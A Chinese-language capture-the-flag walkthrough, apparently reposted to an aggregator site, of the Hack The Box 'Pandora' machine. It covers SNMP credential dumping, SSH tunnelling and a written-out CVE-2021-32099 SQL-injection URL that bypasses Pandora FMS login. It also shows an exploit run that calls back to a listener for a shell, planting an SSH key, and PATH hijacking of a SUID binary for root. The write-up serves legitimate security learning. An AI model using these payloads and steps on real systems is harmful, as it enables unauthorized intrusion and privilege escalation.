【Hack The Box】linux练习-- Pandora

news2025/1/18 7:24:44

HTB 学习笔记

【Hack The Box】linux练习-- Pandora


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • TCP 80
    • 域名爆破
    • snmp
    • daniel->root
        • 000-default.conf
        • pandora.conf
    • matt -> root

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap -sU -top-ports=100 panda.htb

得到一个161的snmp端口
161/udp open snmp

TCP 80

啥也没有

域名爆破

wfuzz -u http://panda.htb -H "Host: FUZZ.panda.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 33560

同样什么都没有
换了个大字典还是啥都没有

snmp

简单网络管理协议 (SNMP) 是一种用于在 Internet 上管理和共享设备信息的协议。 最新版本是 2004 年发布的第 3 版,但第 2 版可能是 Internet 上最常用的版本。 v2 中没有太多的身份验证方式,因为大多数实例都使用字符串“public”,因此能够转储有关具有 UDP 161 访问权限的设备的大量数据并不少见。

apt install snmp snmp-mibs-downloader

onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt

字典在下面链接
https://github.com/trailofbits/onesixtyone
在这里插入图片描述snmpwalk -v 2c -c public 10.129.71.14 > 1.txt

我看到有人说下面的方式更快,但我执行的时候总是失败
我不知道为什么

snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.136 > snmp-full-bullk

得到了一些凭据

HotelBabylon23
daniel

我们可以登陆他

daniel->root

Apache 站点配置在 /etc/apache2/sites-enabled. 在这种情况下,有两个:
在这里插入图片描述

000-default.conf

<VirtualHost *:80>

这可能是一个80的代理?虚拟主机啥的

pandora.conf

在这里插入图片描述pandora.panda.htb
matt用户运行
/var/www/html和 /var/www/pandora

但是pandora.panda.htb同样是同一个页面
我不理解

在这里插入图片描述
看了别人文章,说需要做一个代理去访问,我依旧不理解
80端口应该是独占
如果我访问域名…也许不是80端口?
但是我先尝试一下80端口
也许这是内部网站
就像起那面提到的他需要申明主机
我将用ssh登陆隧道到他的80端口

ssh daniel@10.129.71.14 -L 2222:localhost:80

而后浏览器访问本地2222端口

在这里插入图片描述
页面底部存在版本信息
v7.0NG.742_FIX_PERL2020
他有rce,但是需要密码
matt的密码和我们拥有的用户密码不一致
所以我得先寻找密码
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
这个网站还详细的说了4种已知的漏洞

在这里插入图片描述

https://github.com/ibnuuby/CVE-2021-32099

在这里我发现了一个应该可以直接使用的poc
在这里插入图片描述
他的确使用了sql注入,我们直接输入这一段,修改一下端口就行

http://127.0.0.1:2222/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271

然后刷新页面,就可以进入到管理界面了

在这里插入图片描述

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/

然后按照这个网站里的视频里面,生成了一个zip的恶意文件,然后访问即可执行命令,但我任然觉得这太麻烦,我准备利用rce
首先我需要抓包获取phpssid
在这里插入图片描述
用这个exp

https://github.com/ibnuuby/CVE-2021-32099
python3 exp.py -t 127.0.0.1 2222 -p npfhkcp04tj4qhppra81b9npc0 -s 10.10.14.29 8888

在这里插入图片描述

matt -> root

find / -perm -4000 -ls 2>/dev/null

查看一下可提权文件
这一条有点意思,有matt的权限

262929     20 -rwsr-x---   1 root     matt        16816 Dec  3  2021 /usr/bin/pandora_backup

在运行这一切之前,我们应该做一个ssh毒化

为了让shell更稳定,防止一些不必要的错误

将我们自己的密钥写进去

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali" > authorized_keys 

ssh -i id_rsaed25519 matt@10.129.71.14

在这里插入图片描述直接执行

/usr/bin/pandora_backup

乱七八糟,看不懂

ltrace pandora_backup 

让我们看看他的构造
在这里插入图片描述

system调用命令tar没有绝对路径,那就挟持命令
狸猫换太子
这就不说了

在这里插入图片描述

export PATH=/tmp:$PATH

添加环境变量
别忘了给命令赋权

chmod +x tar

然后执行

pandora_backup 

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/44527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TensorFlow之文本分类算法-4

1 前言 2 收集数据 3 探索数据 4 选择模型 5 准备数据 6 模型-构建训练评估 机器学习主要包括模型构建、模型训练、模型评估&#xff0c;在选择模型章节中已经对如何根据S/W的比率进行模型的选择&#xff0c;其包括n-gram模型或者序列模型&#xff0c;本章节内容主要描述…

LeetCode-813-最大平均值和的分组

1、动态规划法 我们可以利用数组dp[i][j]dp[i][j]dp[i][j]来表示我们将数组中区间[0,i−1][0,i-1][0,i−1]的元素分为jjj组的平均值的总和。因此我们可以得到状态转化方程如下&#xff1a;{dp[i][j]∑r0i−1nums[r]i,j1dp[i][j]maxx≥j−1(dp[x][j−1]∑rxi−1nums[r]i−x),j&…

计算机五大部件是指什么

计算机五大部件&#xff1a; 计算机硬件系统由运算器、控制器、存储器&#xff08;内外存储器&#xff09;、输入设备和输出设备五部分组成。 1、控制器&#xff1a;控制器就是一个系统中枢&#xff0c;控制计算机如何运行、运转的基本单元。 每一个运算器都需一个单独的控制…

D-016 JTAG硬件电路设计

JTAG硬件电路设计1 简介1.1 JTAG分类1.2 ARM调试器2 设计要点3 电路实战3.1 Xilinx3.2 ALTERA ------USB blaster1 简介 JTAG(Join Test Action Group)的中文名称为联合测试工作组&#xff0c;是一种国际标准测试协议&#xff0c;主要用于芯片内部测试&#xff1a;验证设计和P…

Ubuntu16.04 完整版 Gym 安装及说明

Ubuntu16.04 完整版 Gym 安装及说明1. 安装前言2. Gym 开发环境说明3. 完整版 Gym 的安装3.1 Anaconda 创建虚拟环境3.2 安装 gym[box2d]3.2.1 采用官方 GitHub 教程进行安装的报错及解决方案3.2.2 采用 Anaconda 进行安装3.2.3 测试能否成功运行 LunarLander-v2 环境3.3 安装 …

【一文秒懂——YAML配置文件】

目录 1. YAML配置文件 2. 实例 2.1 将原application.properties改为application.yml&#xff1a; 2.2 将原application-dev.properties改为application-dev.yml&#xff1a; 1. YAML配置文件 在Spring Boot项目中&#xff0c;还可以使用YAML配置文件&#xff0c;这是一种使…

一文搞懂漏洞严重程度分析

漏洞的级别定义主要从两个维度进行判断&#xff1b; 1、可利用性 2、影响性 可利用性指标 可利用性指标组刻画脆弱性组件&#xff08;即包含漏洞的事物&#xff09;的特征&#xff0c;反映漏洞利用的难易程度和技术要求等。可利用性指标组包含四个指标&#xff0c;分别是攻击…

最新阿里云GPU服务器租用配置费用价格表出炉(多配置报价)

阿里云GPU服务器优惠3折GPU云服务器vgn6i优惠价469.46元/月起&#xff0c;GPU云服务器gn6i和GPU云服务器gn6v均有活动&#xff0c;NVIDIA T4及V100均有活动&#xff0c;主机教程网 来详细说下阿里云GPU云服务器收费标准价格表&#xff0c;再来说说GPU云服务器计费模式&#xff…

Python学习笔记(十八)——Pandas进阶

文章主要内容文件操作&#xff1a; • 文件读取: read_csv(csv),read_table(表格),read_excl(excel) • 文件写入&#xff1a;to_csv, to_excel 数据清洗&#xff1a; • 处理缺失值&#xff1a;isnull(识别), dropna (过滤), fillna(填充) • 数据转换&#xff1a;drop_duplic…

MVCC多版本并发控制

目录 1、数据库并发场景 2、当前读和快照读 3、MVCC的隔离级别 4、实现原理 4.1、隐藏字段 ​​​​​​​4.2、Undo_log&#xff08;版本链&#xff09; 4.3、Read View&#xff08;读视图&#xff09; 4.4、RC、RR隔离级别下的快照读有什么区别 MVCC&#xff0c;多版…

文献认证!Kamiya艾美捷抗酒石酸酸性磷酸酶TRAP染色试剂盒

人类及动物体骨组织不断地进行着重建&#xff0c;骨重建过程包括骨的分解吸收与新骨的形成。破骨细胞&#xff08;Osteoclast&#xff0c;OC&#xff09;负责骨分解与吸收&#xff0c;而成骨细胞&#xff08;osteoblast&#xff0c;OB&#xff09;负责新骨形成。破骨细胞贴附在…

【WAX链游】发布一个免费开源的MiningNetwork合约脚本BTK

前言 挖矿网络&#xff08;Mining Network&#xff09;官网&#xff1a; https://miningnetwork.io 挖矿网络&#xff08;Mining Network&#xff09;合约脚本&#xff1a;https://github.com/encoderlee/MiningNetworkBot 回顾之前我们推出过的免费开源链游脚本&#xff1a…

【React技术】JSX在企业级项目的运用and一个元素渲染demo

JSX 它被称为JSX,是JavaScript的语法扩展。我们建议在React中使用JSX。JSX可以很好地描述UI应该呈现它应该具有的基本交互形式。JSX可能会让人想起模板语言,但它具有JavaScript的所有功能。 const element = <h1>Hello, world!</h1>;React认为渲染逻辑与其他UI…

红眼睛红外成像微型成像仪快速刷新与动态显示温度测量

默认参数下&#xff0c;设备的温度测量和数据输出频率为每秒 4Hz&#xff0c;这一输出速率基本可以保证所有计 算机和手机都能够正常显示实时画面&#xff0c;但导致的问题是实时画面有卡顿的感觉。数据的处理速度与 计算机和手机的配置高低有直接关系&#xff0c;下面仅以…

VScode 基础使用教程

VScode 的安装以及使用基础&#xff08;C配置&#xff09; 奉上VScode安装物资 VScode 的安装 进入VScode官网&#xff0c;点击 Download for windows 即可得到安装包&#xff0c;运行即可。 编译器G的配置 下载 MinGW&#xff0c;将其保存至任意磁盘中&#xff08;下面默认C…

在 Navicat 中执行数据库范围搜索

无论你选择的数据库是 MySQL、MariaDB、SQL Server、Oracle 和 PostgreSQL&#xff0c;还是基于云的服务&#xff0c;如 Amazon RDS、Amazon Aurora、Amazon Redshift、SQL Azure、Oracle Cloud 和 Google Cloud&#xff0c;你都将不可避免地要寻找一些你不知道位置的数据。在这…

简单3步轻松搭建个人博客

对于计算机专业的学生&#xff0c;课余时间最有价值的事莫过于写技术博客了。我们可以通过博客记录生活经历、学习过程、技术成长&#xff0c;同时博客还能树立个人品牌&#xff0c;结识更多兴趣相投的人。 从计算机技术角度而言&#xff0c;博客的搭建及维护会让你的技术不断…

猴子也能学会的jQuery——总结习题

&#x1f4da;系列文章—目录&#x1f525; 猴子也能学会的jQuery第一期——什么是jQuery 猴子也能学会的jQuery第二期——引用jQuery 猴子也能学会的jQuery第三期——使用jQuery 猴子也能学会的jQuery第四期——jQuery选择器大全 猴子也能学会的jQuery第五期——jQuery样式操作…

字符串压缩(三)之短字符串压缩

一、通用算法的短字符压缩 开门见山&#xff0c;我们使用一段比较短的文本&#xff1a;Narrator: It is raining today. So, Peppa and George cannot play outside.Peppa: Daddy, its stopped raining. 使用ZSTD与LZ4分别压缩一下上面这段短文本。下面分别是它们的压缩结果。…

良好基本面引领发展,中国春来将聚势而强?

2022年&#xff0c;是一个挑战与机遇共存的年份。 一方面&#xff0c;作为“双减”、《民促法实施条例》落地执行的第一年&#xff0c;转型难题困扰着广大K12教培企业。另一方面&#xff0c;职业教育、教育信息化利好政策频出&#xff0c;不少从业者藉此打开局面、柳暗花明。 …